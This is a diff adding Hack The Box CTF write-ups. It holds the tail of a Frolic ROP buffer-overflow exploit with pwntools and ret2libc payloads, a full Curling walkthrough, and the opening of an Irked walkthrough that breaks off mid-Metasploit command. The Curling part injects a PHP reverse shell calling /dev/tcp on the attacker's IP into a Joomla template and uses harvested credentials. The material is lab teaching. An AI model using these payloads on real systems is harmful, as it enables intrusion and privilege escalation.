3.8 + [*] 1 command could not be loaded, run `gef missing` to know why. + Reading symbols from rop... + (No debugging symbols found in rop) + gef➤ checksec + [+] checksec for '/home/nihilist/_HTB/Frolic/rop' + Canary : No + NX : Yes + PIE : No + Fortify : No + RelRO : Partial + + + +one thing to note is that when we run the checksec command onto the rop binary within GEF, we see that the NX bit is enabled, which means that we won't be able to execute shellcode on the stack. + + + + gef➤ run Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae + Starting program: /home/nihilist/_HTB/Frolic/rop Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae + + Program received signal SIGSEGV, Segmentation fault. + 0x62413762 in ?? () + [ Legend: Modified register | Code | Heap | Stack | String ] + ───────────────────────────────────────────────────────────────────────────────────────────────────── registers ──── + $eax : 0x80 + $ebx : 0xffffd2c0 → "4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae" + $ecx : 0xffffd220 → 0xf7f8ece0 → 0xfbad2a84 + $edx : 0xffffd2d8 → 0xf7f8de00 → 0x00000000 + $esp : 0xffffd290 → "8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4A[...]" + $ebp : 0x41366241 ("Ab6A"?) + $esi : 0xf7f8de24 → 0x001e2d2c (",-"?) + $edi : 0xf7f8de24 → 0x001e2d2c (",-"?) + $eip : 0x62413762 ("b7Ab"?) + $eflags: [zero carry PARITY adjust SIGN trap INTERRUPT direction overflow RESUME virtualx86 identification] + $cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063 + ───────────────────────────────────────────────────────────────────────────────────────────────────────── stack ──── + 0xffffd290│+0x0000: "8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4A[...]" ← $esp + 0xffffd294│+0x0004: "Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad[...]" + 0xffffd298│+0x0008: "c1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7[...]" + 0xffffd29c│+0x000c: "2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8A[...]" + 0xffffd2a0│+0x0010: "Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae[...]" + 0xffffd2a4│+0x0014: "c5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1[...]" + 0xffffd2a8│+0x0018: "6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae" + 0xffffd2ac│+0x001c: "Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae" + ─────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ──── + [!] Cannot disassemble from $PC + [!] Cannot access memory at address 0x62413762 + ─────────────────────────────────────────────────────────────────────────────────────────────────────── threads ──── + [#0] Id 1, Name: "rop", stopped, reason: SIGSEGV + ───────────────────────────────────────────────────────────────────────────────────────────────────────── trace ──── + ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────── + gef➤ + + +looking at the results, we see that the program crashes with EIP set to 0x62413762. let's run pattern_offset.rb to find the offset of 0x62413762. + + + λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/Frolic ] + → locate pattern_offset.rb + /opt/metasploit/.tools/exploit/pattern_offset.rb + /opt/metasploit/tools/exploit/pattern_offset.rb + + λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/Frolic ] + → /opt/metasploit/tools/exploit/pattern_offset.rb -q 0x62413762 + WARNING: Nokogiri was built against LibXML version 2.9.9, but has dynamically loaded 2.9.10 + [*] Exact match at offset 52 + + +We seem to have an exact match at offset 52! back to our meterpreter session, we use either curl or wget to download the libc library locally. + + + λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/Frolic ] + → nc -lvnp 4444 > libc + + listening on [any] 4444 ... + connect to [10.10.14.23] from (UNKNOWN) [10.10.10.111] 59480 + + λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/Frolic ] + → one_gadget -f libc rop + + 0x3ac5c execve("/bin/sh", esp+0x28, environ) + constraints: + esi is the GOT address of libc + [esp+0x28] == NULL + + + +now that we have a gadget at 0x3ac5c, we should be able to get a shell. Although we need to find libc's base address, for that matter we will use the ldd command. + + + $ ldd rop + ldd rop + linux-gate.so.1 => (0xb7fda000) + libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7e19000) + /lib/ld-linux.so.2 (0xb7fdb000) + + +And that's all we need ! we have the base address 0xb7e19000, now we are ready to write our exploit. + + + from pwn import * + + payload = "A" * 52 + p32(0xb7e19000+0x3ac5c) + + print payload + + +Running the exploit locally for it to generate the payload, we will then upload the payload onto the machine and it will give us a privilege escalation. + + + λ root [ 10.10.14.48/23 ] [nihilist/_HTB/Frolic] → python exploit.py > payload + + λ root [ 10.10.14.48/23 ] [nihilist/_HTB/Frolic] → ls + exploit.py msf rockyou.txt zipfile.zip + index.php payload rop + + λ root [ 10.10.14.48/23 ] [nihilist/_HTB/Frolic] → python2 -m SimpleHTTPServer 9001 + Serving HTTP on 0.0.0.0 port 9001 ... + 10.10.10.111 - - [05/Dec/2019 12:40:58] "GET /payload HTTP/1.1" 200 - + + + + $wget http://10.10.14.48:9001/payload + --2019-12-05 12:42:22-- http://10.10.14.48:9001/payload + Connecting to 10.10.14.48:9001... connected. + HTTP request sent, awaiting response... 200 OK + Length: 0 [application/octet-stream] + Saving to: ‘payload.1’ + + payload.1 [ <=> ] 0 --.-KB/s in 0s + + 2019-12-05 12:40:58 (0.00 B/s) - ‘payload.1’ saved + + $ /home/ayush/.binary/rop $(cat payload.1) + /home/ayush/.binary/rop $(cat payload.1) + + # cat /root/root.txt + cat root.txt + 85XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + +And that's it ! we have been able to print out the root flag. + +Another even quicker way to get the root flag is to pass the addresses of SYSTEM, exit and /bin/sh directly to the rop binary itself. + + + + $ ./rop $(python -c 'print("a"*52 + "\xa0\x3d\xe5\xb7" + "\xd0\x79\xe4\xb7" + "\x0b\x4a\xf7\xb7")') + ./rop $(python -c 'print("a"*52 + "\xa0\x3d\xe5\xb7" + "\xd0\x79\xe4\xb7" + "\x0b\x4a\xf7\xb7")') + + # whoami + whoami + root + + # cat /root/root.txt + cat /root/root.txt + 85XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + +## **Conclusion** + +Here we can see the progress graph : + +![](img/23_graph.png) + diff --git a/Easy/24.md b/Easy/24.md new file mode 100644 index 0000000..e30377f --- /dev/null +++ b/Easy/24.md @@ -0,0 +1,436 @@ +# Curling Writeup + +![](img/24.png) + +## Introduction : + +Curling is an easy Linux box that was released back in October 2018. + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions. + + + λ root [ 10.10.14.48/23 ] [nihilist/_HTB/Curling] → nmap -F 10.10.10.150 --top-ports 65535 + Starting Nmap 7.80 ( https://nmap.org ) at 2019-12-05 15:48 CET + Nmap scan report for 10.10.10.150 + Host is up (0.038s latency). + Not shown: 8318 closed ports + PORT STATE SERVICE + 22/tcp open ssh + 80/tcp open http + + Nmap done: 1 IP address (1 host up) scanned in 8.68 seconds + + + + λ root [ 10.10.14.48/23 ] [nihilist/_HTB/Curling] → nmap -sC -sV -p22,80 10.10.10.150 + Starting Nmap 7.80 ( https://nmap.org ) at 2019-12-05 15:51 CET + Nmap scan report for 10.10.10.150 + Host is up (0.039s latency). + + PORT STATE SERVICE VERSION + 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0) + | ssh-hostkey: + | 2048 8a:d1:69:b4:90:20:3e:a7:b6:54:01:eb:68:30:3a:ca (RSA) + | 256 9f:0b:c2:b2:0b:ad:8f:a1:4e:0b:f6:33:79:ef:fb:43 (ECDSA) + |_ 256 c1:2a:35:44:30:0c:5b:56:6a:3f:a5:cc:64:66:d9:a9 (ED25519) + 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) + |_http-generator: Joomla! - Open Source Content Management + |_http-server-header: Apache/2.4.29 (Ubuntu) + |_http-title: Home + Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 1 IP address (1 host up) scanned in 10.41 seconds + + +## **Part 2 : Getting User Access** + +Our nmap picked up the 80th port running a Joomla! webservice. We will run a dirsearch command in the background while we start to enumerate this port. + + + λ root [ 10.10.14.48/23 ] [nihilist/_HTB/Curling] → dirsearch -u http://10.10.10.150/ -r -e php -t 50 -x 403 + + + + λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/Frolic ] + → searchsploit Joomla! | wc -l + 1421 + + +Joomla! is a well known service with more than a thousand exploits available. + + + λ root [ 10.10.14.48/23 ] [nihilist/_HTB/Curling] → dirsearch -u http://10.10.10.150/ + No extension specified. You must specify at least one extension or try using default extension list. + + λ root [ 10.10.14.48/23 ] [nihilist/_HTB/Curling] → dirsearch -u http://10.10.10.150/ -r -e php -t 50 -x 403 + + _|. _ _ _ _ _ _|_ v0.3.9 + (_||| _) (/_(_|| (_| ) + + Extensions: php | HTTP method: get | Threads: 50 | Wordlist size: 6027 | Recursion level: 1 + + Error Log: /root/.dirsearch/logs/errors-19-12-05_15-52-05.log + + Target: http://10.10.10.150/ + + [15:52:05] Starting: + [15:52:12] 301 - 320B - /administrator -> http://10.10.10.150/administrator/ + [15:52:12] 200 - 5KB - /administrator/ + [15:52:12] 301 - 325B - /administrator/logs -> http://10.10.10.150/administrator/logs/ + [15:52:12] 200 - 5KB - /administrator/index.php + [15:52:14] 301 - 310B - /bin -> http://10.10.10.150/bin/ + [15:52:14] 200 - 31B - /bin/ + [15:52:14] 301 - 312B - /cache -> http://10.10.10.150/cache/ + [15:52:14] 200 - 31B - /cache/ + [15:52:15] 301 - 317B - /components -> http://10.10.10.150/components/ + [15:52:15] 200 - 0B - /configuration.php + [15:52:18] 200 - 3KB - /htaccess.txt + [15:52:18] 301 - 313B - /images -> http://10.10.10.150/images/ + [15:52:18] 200 - 31B - /includes/ + [15:52:18] 301 - 315B - /includes -> http://10.10.10.150/includes/ + [15:52:18] 200 - 14KB - /index.php + [15:52:19] 301 - 315B - /language -> http://10.10.10.150/language/ + [15:52:19] 301 - 316B - /libraries -> http://10.10.10.150/libraries/ + [15:52:19] 200 - 18KB - /LICENSE.txt + [15:52:20] 301 - 312B - /media -> http://10.10.10.150/media/ + [15:52:21] 301 - 314B - /modules -> http://10.10.10.150/modules/ + [15:52:23] 301 - 314B - /plugins -> http://10.10.10.150/plugins/ + [15:52:23] 200 - 5KB - /README.txt + [15:52:26] 301 - 316B - /templates -> http://10.10.10.150/templates/ + [15:52:26] 200 - 31B - /templates/ + [15:52:26] 200 - 31B - /tmp/ + [15:52:26] 301 - 310B - /tmp -> http://10.10.10.150/tmp/ + [15:52:27] 200 - 2KB - /web.config.txt + [15:52:28] Starting: administrator/ + [15:52:35] 301 - 326B - /administrator/cache -> http://10.10.10.150/administrator/cache/ + [15:52:35] 200 - 31B - /administrator/cache/ + [15:52:36] 301 - 331B - /administrator/components -> http://10.10.10.150/administrator/components/ + [15:52:39] 301 - 325B - /administrator/help -> http://10.10.10.150/administrator/help/ + [15:52:39] 200 - 1KB - /administrator/help/ + [15:52:40] 301 - 329B - /administrator/includes -> http://10.10.10.150/administrator/includes/ + [15:52:40] 200 - 2KB - /administrator/includes/ + [15:52:40] 200 - 5KB - /administrator/index.php + [15:52:40] 200 - 5KB - /administrator/index.php/login/ + [15:52:41] 301 - 329B - /administrator/language -> http://10.10.10.150/administrator/language/ + [15:52:41] 301 - 325B - /administrator/logs -> http://10.10.10.150/administrator/logs/ + [15:52:41] 200 - 31B - /administrator/logs/ + [15:52:42] 301 - 328B - /administrator/modules -> http://10.10.10.150/administrator/modules/ + [15:52:47] 301 - 330B - /administrator/templates -> http://10.10.10.150/administrator/templates/ + [15:52:47] 200 - 1KB - /administrator/templates/ + [15:52:49] Starting: bin/ + [15:53:01] 200 - 31B - /bin/index.md + [15:53:10] Starting: cache/ + [15:53:23] 200 - 31B - /cache/index.md + [15:53:31] Starting: components/ + [15:53:44] 200 - 31B - /components/index.md + [15:53:53] Starting: images/ + [15:54:00] 301 - 321B - /images/banners -> http://10.10.10.150/images/banners/ + [15:54:00] 200 - 2KB - /images/banners/ + [15:54:05] 301 - 321B - /images/headers -> http://10.10.10.150/images/headers/ + [15:54:05] 200 - 31B - /images/index.md + [15:54:14] Starting: includes/ + [15:54:27] 200 - 31B - /includes/index.md + [15:54:36] Starting: language/ + [15:54:48] 200 - 31B - /language/index.md + [15:54:57] Starting: libraries/ + [15:55:06] 301 - 320B - /libraries/cms -> http://10.10.10.150/libraries/cms/ + [15:55:06] 200 - 1KB - /libraries/cms/ + [15:55:10] 200 - 0B - /libraries/import.php + [15:55:10] 200 - 31B - /libraries/index.md + [15:55:10] 301 - 323B - /libraries/joomla -> http://10.10.10.150/libraries/joomla/ + [15:55:17] 301 - 320B - /libraries/src -> http://10.10.10.150/libraries/src/ + [15:55:18] 200 - 0B - /libraries/vendor/composer/autoload_namespaces.php + [15:55:18] 200 - 0B - /libraries/vendor/composer/autoload_psr4.php + [15:55:18] 200 - 0B - /libraries/vendor/composer/autoload_static.php + [15:55:18] 200 - 0B - /libraries/vendor/composer/ClassLoader.php + [15:55:18] 200 - 1KB - /libraries/vendor/composer/LICENSE + [15:55:18] 200 - 0B - /libraries/vendor/composer/autoload_classmap.php + [15:55:18] 200 - 0B - /libraries/vendor/autoload.php + [15:55:18] 200 - 0B - /libraries/vendor/composer/autoload_real.php + [15:55:18] 200 - 0B - /libraries/vendor/composer/autoload_files.php + [15:55:19] 200 - 47KB - /libraries/vendor/composer/installed.json + [15:55:19] Starting: media/ + [15:55:28] 301 - 316B - /media/cms -> http://10.10.10.150/media/cms/ + [15:55:28] 200 - 941B - /media/cms/ + [15:55:28] 301 - 321B - /media/contacts -> http://10.10.10.150/media/contacts/ + [15:55:32] 200 - 31B - /media/index.md + [15:55:34] 301 - 318B - /media/media -> http://10.10.10.150/media/media/ + [15:55:39] 301 - 319B - /media/system -> http://10.10.10.150/media/system/ + [15:55:39] 200 - 1KB - /media/system/ + [15:55:41] Starting: modules/ + [15:55:53] 200 - 31B - /modules/index.md + [15:56:03] Starting: plugins/ + CTRL+C detected: Pausing threads, please wait... + + + + λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/Curling ] + → curl -sk http://10.10.10.150/ | grep Floris + <****p>- Floris <****/p> + + λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/Curling ] + → curl -sk http://10.10.10.150/ | grep secret + + λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/Curling ] + → curl -sk http://10.10.10.150/secret.txt + Q3VybGluZzIwMTgh + + +Looking at the sourcecode of the index page of the box, we see that the username Floris comes up. At the bottom of the index sourcecode we see a commented line "secret.txt" Browsing to this /secret.txt file we get seem to get a strong password which could be base64-encoded : Q3VybGluZzIwMTgh + + + λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/Curling ] + → curl -sk http://10.10.10.150/secret.txt | base64 -d + Curling2018! + + +Seems like we were right ! We now have credentials to work with. Our dirsearch command found the /administrator webpage earlier, Browsing onto it we find the joomla! login page, onto which we will try our freshly-acquired credentials : Floris:Curling2018! + +![](prg/24_001.png) ![](prg/24_002.png) + +And we are logged in ! Now we navigate into Extensions > Templates > Options and set public and superuser permissions to allowed. + +![](prg/24_003.png) + +Once that's done we will save the options and navigate to the Beez3 template details in order to edit it's index php file. + +![](prg/24_004.png) + +Replace the entire php code with a reverse php shell one liner that will send back a reverse shell connection to our local machine (10.10.14.48) at the 9001 port. + + + <****?php + echo("nihilist WAS HERE"); + exec("/bin/bash -c 'bash -i > & /dev/tcp/10.10.14.48/9001 0>&1'"); + + +We will use a terminal in order to recieve the incoming shell connection using the nc command with the -lvnp flags. + + + λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/Curling ] + → nc -lvnp 9001 + + +We then click "preview template" which will run the infected index.php file and send us a reverse shell connection. + +![](prg/24_005.png) + +As you can see, the echo() statement is being executed, which displays our string. Naturally, it also execute the reverse shell one liner. + + + λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/Curling ] + → nc -lvnp 9001 + Connection from 10.10.10.150:51798 + bash: cannot set terminal process group (1319): Inappropriate ioctl for device + bash: no job control in this shell + www-data@curling:/var/www/html$ whoami + whoami + www-data + www-data@curling:/var/www/html$ uname -a + uname -a + Linux curling 4.15.0-22-generic #24-Ubuntu SMP Wed May 16 12:15:17 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux + + +And we are logged in as www-data ! now let's see if we can print out the user flag. + + + www-data@curling:/var/www/html$ cd /home/floris + cd /home/floris + www-data@curling:/home/floris$ cat user.txt + cat user.txt + cat: user.txt: Permission denied + + +It seems like we are not logged in with enough permissions. We will need to escalate privileges in order to gain the user access. Poking around the box from within our low-privileged shell, we find an interesting file named "password_backup" + + + www-data@curling:/home/floris$ ls + ls + admin-area + password_backup + user.txt + www-data@curling:/home/floris$ file password_backup + file password_backup + password_backup: ASCII text + www-data@curling:/home/floris$ cat password_backup + cat password_backup + 00000000: 425a 6839 3141 5926 5359 819b bb48 0000 BZh91AY&SY...H..; + 00000010: 17ff fffc 41cf 05f9 5029 6176 61cc 3a34 ....A...P)ava.:4 + 00000020: 4edc cccc 6e11 5400 23ab 4025 f802 1960 N...n.T.#.@%...` + 00000030: 2018 0ca0 0092 1c7a 8340 0000 0000 0000 ......z.@...... + 00000040: 0680 6988 3468 6469 89a6 d439 ea68 c800 ..i.4hdi...9.h.. + 00000050: 000f 51a0 0064 681a 069e a190 0000 0034 ..Q..dh........4 + 00000060: 6900 0781 3501 6e18 c2d7 8c98 874a 13a0 i...5.n......J.. + 00000070: 0868 ae19 c02a b0c1 7d79 2ec2 3c7e 9d78 .h...*..}y..<~.x + 00000080: f53e 0809 f073 5654 c27a 4886 dfa2 e931 .>...sVT.zH....1 + 00000090: c856 921b 1221 3385 6046 a2dd c173 0d22 .V...!3.`F...s." + 000000a0: b996 6ed4 0cdb 8737 6a3a 58ea 6411 5290 ..n....7j:X.d.R. + 000000b0: ad6b b12f 0813 8120 8205 a5f5 2970 c503 .k./... ....)p.. + 000000c0: 37db ab3b e000 ef85 f439 a414 8850 1843 7..;.....9...P.C + 000000d0: 8259 be50 0986 1e48 42d5 13ea 1c2a 098c .Y.P...HB....*.. + 000000e0: 8a47 ab1d 20a7 5540 72ff 1772 4538 5090 .G.. .U@r..rE8P. + 000000f0: 819b bb48 ...H + + +We see that it is a hexdump file. We save it locally and decode it using the xxd command with the -r flag. + + + λ root [ 10.10.14.48/23 ] [nihilist/_HTB/Curling] → nano password_backup + + λ root [ 10.10.14.48/23 ] [nihilist/_HTB/Curling] → ls + password_backup + + λ root [ 10.10.14.48/23 ] [nihilist/_HTB/Curling] → cat password_backup | xxd -r + BZh91AY&SY;���H���A��P)ava�:4N���nT#�@%�` + ��z�@�i�4hdi���9�h�Q�dh����4i�5n�׌��Jh��*��}y.�<~�x�> �sVT�zH�ߢ�1�V��`F���"��n� + ۇ7j:X�dR��k�� ���)p�7۫;���9��PC�Y�P �HB��* ��G� �U@r�rE8P����H# + + +That's weird, we seem to get a binary file once we decode the hexdump, we will save it as "BACKUP" and we'll run the file command to find out what it actually is. + + + λ root [ 10.10.14.48/23 ] [nihilist/_HTB/Curling] → xxd -r password_backup > BACKUP + + λ root [ 10.10.14.48/23 ] [nihilist/_HTB/Curling] → file BACKUP + BACKUP: bzip2 compressed data, block size = 900k + + +We seem to get a bzip2 file ! let's give it it's proper extension and then try to decompress it with the bzip2 command along with it's -d flag. + + + λ root [ 10.10.14.48/23 ] [nihilist/_HTB/Curling] → mv BACKUP BACKUP.bz2 + + λ root [ 10.10.14.48/23 ] [nihilist/_HTB/Curling] → bzip2 -d BACKUP.bz2 + + λ root [ 10.10.14.48/23 ] [nihilist/_HTB/Curling] → ls + BACKUP password_backup + + λ root [ 10.10.14.48/23 ] [nihilist/_HTB/Curling] → file BACKUP + BACKUP: gzip compressed data, was "password", last modified: Tue May 22 19:16:20 2018, from Unix, original size modulo 2^32 141 + + +Now we seem to end up with a gzip file ! Let's give it it's proper extension and now try to decompress it with the gunzip command. + + + λ root [ 10.10.14.48/23 ] [nihilist/_HTB/Curling] → mv BACKUP BACKUP.gz + + λ root [ 10.10.14.48/23 ] [nihilist/_HTB/Curling] → gunzip BACKUP.gz + + λ root [ 10.10.14.48/23 ] [nihilist/_HTB/Curling] → ls + BACKUP password_backup + + λ root [ 10.10.14.48/23 ] [nihilist/_HTB/Curling] → file BACKUP + BACKUP: bzip2 compressed data, block size = 900k + + +Again a bzip2 file ! let's decompress it once again. + + + λ root [ 10.10.14.48/23 ] [nihilist/_HTB/Curling] → mv BACKUP BACKUP.bz2 + + λ root [ 10.10.14.48/23 ] [nihilist/_HTB/Curling] → bzip2 -d BACKUP.bz2 + + λ root [ 10.10.14.48/23 ] [nihilist/_HTB/Curling] → ls + BACKUP password_backup + + λ root [ 10.10.14.48/23 ] [nihilist/_HTB/Curling] → file BACKUP + BACKUP: POSIX tar archive (GNU) + + +Now it's a tar archive... to decompress it we will use the tar command with the -xvf flags. + + + λ root [ 10.10.14.48/23 ] [nihilist/_HTB/Curling] → mv BACKUP BACKUP.tar + + λ root [ 10.10.14.48/23 ] [nihilist/_HTB/Curling] → tar -xvf BACKUP.tar + password.txt + + λ root [ 10.10.14.48/23 ] [nihilist/_HTB/Curling] → cat password.txt + 5d<****wdCbdZu)|hChXll + +And there we go ! we have a password to work with now. We will use it to login as the user floris through a ssh connection. + + + λ root [ 10.10.14.48/23 ] [nihilist/_HTB/Curling] → ssh floris@10.10.10.150 + The authenticity of host '10.10.10.150 (10.10.10.150)' can't be established. + ECDSA key fingerprint is SHA256:o1Cqn+GlxiPRiKhany4ZMStLp3t9ePE9GjscsUsEjWM. + Are you sure you want to continue connecting (yes/no/[fingerprint])? yes + Warning: Permanently added '10.10.10.150' (ECDSA) to the list of known hosts. + floris@10.10.10.150's password: + Welcome to Ubuntu 18.04 LTS (GNU/Linux 4.15.0-22-generic x86_64) + + * Documentation: https://help.ubuntu.com + * Management: https://landscape.canonical.com + * Support: https://ubuntu.com/advantage + + System information as of Fri Dec 6 10:26:56 UTC 2019 + + System load: 0.0 Processes: 169 + Usage of /: 46.2% of 9.78GB Users logged in: 0 + Memory usage: 21% IP address for ens33: 10.10.10.150 + Swap usage: 0% + + + 0 packages can be updated. + 0 updates are security updates. + + + Last login: Mon May 28 17:00:48 2018 from 192.168.1.71 + floris@curling:~$ uname -a && whoami + Linux curling 4.15.0-22-generic #24-Ubuntu SMP Wed May 16 12:15:17 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux + floris + floris@curling:~$ cat /home/floris/user.txt + 65XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + +And we are logged in ! We now have the necessary premissions to print out the user flag. + +## **Part 3 : Getting Root Access** + +Onto the machine there is a cronjob running every minute that is executing something inside the admin-area folder. + + + floris@curling:~$ ls -l + total 12 + drwxr-x--- 2 root floris 4096 May 22 2018 admin-area + -rw-r--r-- 1 floris floris 1076 May 22 2018 password_backup + -rw-r----- 1 floris floris 33 May 22 2018 user.txt + floris@curling:~$ cd admin-area + floris@curling:~/admin-area$ ls -l + total 20 + -rw-rw---- 1 root floris 25 Dec 6 10:34 input + -rw-rw---- 1 root floris 14236 Dec 6 10:34 report + + +Within that folder we see that there are 2 files : input and report + + + floris@curling:~/admin-area$ cat input + url = "http://127.0.0.1" + floris@curling:~/admin-area$ cat output + + +It seems like the input file is the command, and report is the output of the command. Let's not do something too complicated, we'll just change the URL to the root flag's location. + + + floris@curling:~/admin-area$ echo 'url = file:///root/root.txt' > input + + +Wait exactly one minute and then print out the now-updated report file : + + + floris@curling:~/admin-area$ cat report + 82XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + +And that's it ! we have been able to print out the root flag. + +## **Conclusion** + +Here we can see the progress graph : + +![](img/24_graph.png) + diff --git a/Easy/25.md b/Easy/25.md new file mode 100644 index 0000000..1b3cb96 --- /dev/null +++ b/Easy/25.md @@ -0,0 +1,335 @@ +# Irked Writeup + +![](img/25.png) + +## Introduction : + +Irked is an easy Linux box that was released back in November 2018. + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions. + + + λ nihilist [ 85.171.153.138 ] [ ~/_HTB/ ] + → nmap -F 10.10.10.117 --top-ports 65000 -Pn + Starting Nmap 7.80 ( https://nmap.org ) at 2019-12-06 16:11 CET + Nmap scan report for 10.10.10.117 + Host is up (0.037s latency). + Not shown: 8315 closed ports + PORT STATE SERVICE + 22/tcp open ssh + 80/tcp open http + 111/tcp open rpcbind + 6697/tcp open ircs-u + 8067/tcp open infi-async + + Nmap done: 1 IP address (1 host up) scanned in 57.80 seconds + + λ nihilist [ 85.171.153.138 ] [ ~/_HTB/ ] + → nmap 10.10.10.117 -sCV -p22,80,111,6697,8097 + Starting Nmap 7.80 ( https://nmap.org ) at 2019-12-06 16:13 CET + Nmap scan report for 10.10.10.117 + Host is up (0.034s latency). + + PORT STATE SERVICE VERSION + 22/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0) + | ssh-hostkey: + | 1024 6a:5d:f5:bd:cf:83:78:b6:75:31:9b:dc:79:c5:fd:ad (DSA) + | 2048 75:2e:66:bf:b9:3c:cc:f7:7e:84:8a:8b:f0:81:02:33 (RSA) + | 256 c8:a3:a2:5e:34:9a:c4:9b:90:53:f7:50:bf:ea:25:3b (ECDSA) + |_ 256 8d:1b:43:c7:d0:1a:4c:05:cf:82:ed:c1:01:63:a2:0c (ED25519) + 80/tcp open http Apache httpd 2.4.10 ((Debian)) + |_http-server-header: Apache/2.4.10 (Debian) + |_http-title: Site doesn't have a title (text/html). + 111/tcp open rpcbind 2-4 (RPC #100000) + | rpcinfo: + | program version port/proto service + | 100000 2,3,4 111/tcp rpcbind + | 100000 2,3,4 111/udp rpcbind + | 100000 3,4 111/tcp6 rpcbind + | 100000 3,4 111/udp6 rpcbind + | 100024 1 42952/tcp status + | 100024 1 43551/udp6 status + | 100024 1 47932/udp status + |_ 100024 1 56558/tcp6 status + 6697/tcp open irc UnrealIRCd + 8097/tcp closed sac + Service Info: Host: irked.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 1 IP address (1 host up) scanned in 74.13 seconds + + +## **Part 2 : Getting User Access** + +Our nmap scan seems to have picked up UnrealIRCd on port 6697. Browsing to the 80th port which is running apache httpd 2.4.10, we are greeted with a simple image that gives us yet another hint speculating that we should work with the IRC part of this box. + + + λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB ] + → curl -sk http://10.10.10.117/ + <****img src=irked.jpg> <****br> <****b> <****center>IRC is almost working! <****/b> <****/center> + + λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB ] + → searchsploit UnrealIRCd + ------------------------------------------------------------- ------------------------------- + Exploit Title | Path + | (/usr/share/exploitdb/) + ------------------------------------------------------------- ------------------------------- + UnrealIRCd 3.2.8.1 - Backdoor Command Execution (Metasploit) | exploits/linux/remote/16922.rb + UnrealIRCd 3.2.8.1 - Local Configuration Stack Overflow | exploits/windows/dos/18011.txt + UnrealIRCd 3.2.8.1 - Remote Downloader/Execute | exploits/linux/remote/13853.pl + UnrealIRCd 3.x - Remote Denial of Service | exploits/windows/dos/27407.pl + ------------------------------------------------------------- ------------------------------- + Shellcodes: No Result + +We seeem to have a few exploits to work with. most notably the first one which is available for metasploit, let's fire up msfconsole and see if we can do anything there. + + + msf5 > search UnrealIRCd + + Matching Modules + ================ + + # Name Disclosure Date Rank Check Description + - ---- --------------- ---- ----- ----------- + 0 exploit/unix/irc/unreal_ircd_3281_backdoor 2010-06-12 excellent No UnrealIRCD 3.2.8.1 Backdoor Command Execution + + + msf5 > use exploit/unix/irc/unreal_ircd_3281_backdoor + msf5 exploit(unix/irc/unreal_ircd_3281_backdoor) > show options + + Module options (exploit/unix/irc/unreal_ircd_3281_backdoor): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:' + RPORT 6667 yes The target port (TCP) + + + Exploit target: + + Id Name + -- ---- + 0 Automatic Target + + + msf5 exploit(unix/irc/unreal_ircd_3281_backdoor) > set RHOSTS 10.10.10.117 + RHOSTS => 10.10.10.117 + msf5 